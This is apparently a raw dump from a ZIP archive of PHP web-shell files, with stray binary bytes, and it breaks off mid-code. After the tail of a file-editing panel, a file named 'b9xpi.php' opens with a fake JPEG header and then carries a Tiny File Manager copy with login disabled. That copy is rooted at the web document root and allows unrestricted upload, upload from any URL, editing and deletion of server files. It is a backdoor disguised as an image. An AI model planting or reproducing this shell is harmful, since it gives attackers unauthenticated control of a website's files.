                      <form method='post' style='display:inline;'>
                        <input type='hidden' name='oldname' value='$filePath'>
                        <input type='text' name='newname' placeholder='Nama baru'>
                        <button type='submit' name='rename'>Rename</button>
                      </form>
                      </div>";
            }
            ?>
        </div>
    </div>
    
    <?php if (isset($_GET['edit'])): ?>
        <?php $file = $_GET['edit']; ?>
        <div class='container'>
            <h3>Edit File</h3>
            <form method='post'>
                <input type='hidden' name='filepath' value='<?php echo $file; ?>'>
                <textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
                <button type='submit' name='save'>Simpan</button>
            </form>
        </div>
    <?php endif; ?>
</body>
</html>PK;m\��Z�����	b9xpi.phpnu�[���ÿØÿà JFIF      ÿÛ „ 	( %!1!%*+...983,7(-.-


<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';

/**
 * H3K | Tiny File Manager V2.4.3
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.3');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password 
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

//set application theme
//options - 'light' and 'dark'
$theme = 'dark';

// Readonly users 
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 2048;

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the customized config file, try to use it to override the default config above
$config_file = './config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

define('FM_THEME', $theme);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('');
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}

// Show image here
if (isset($_GET['img'])) {
    fm_show_image($_GET['img']);
}

// Validate connection IP
if($ip_ruleset != 'OFF'){
    $clientIp = $_SERVER['REMOTE_ADDR'];

    $proceed = false;

    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg('Access denied. IP restriction applicable', 'error');
            fm_show_header_login();
            fm_show_message();
        }

        exit();
    }
}

// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL . '?p=');
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php fm_show_message(); ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>Root path \"{$root_path}\" not found!</h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {

    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg('File not found', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0'); 
        $file_path = $path . '/' . $file;
        
        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){ 
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit();
    }
    
    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
        
        function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, get_file_path());
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }

    exit();
}

// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg('Invalid file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg('File extension is not allowed', 'error');
                }
            } else {
                fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg('Invalid characters in file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg('Source path not defined', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg('File or folder with this path already exists', 'alert');

            } else {
                fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg('Paths must be not equal', 'alert');
       }
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg('Paths must be not equal', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg('Invalid characters in file name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if(file_exists ($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.'.$ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
        }

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
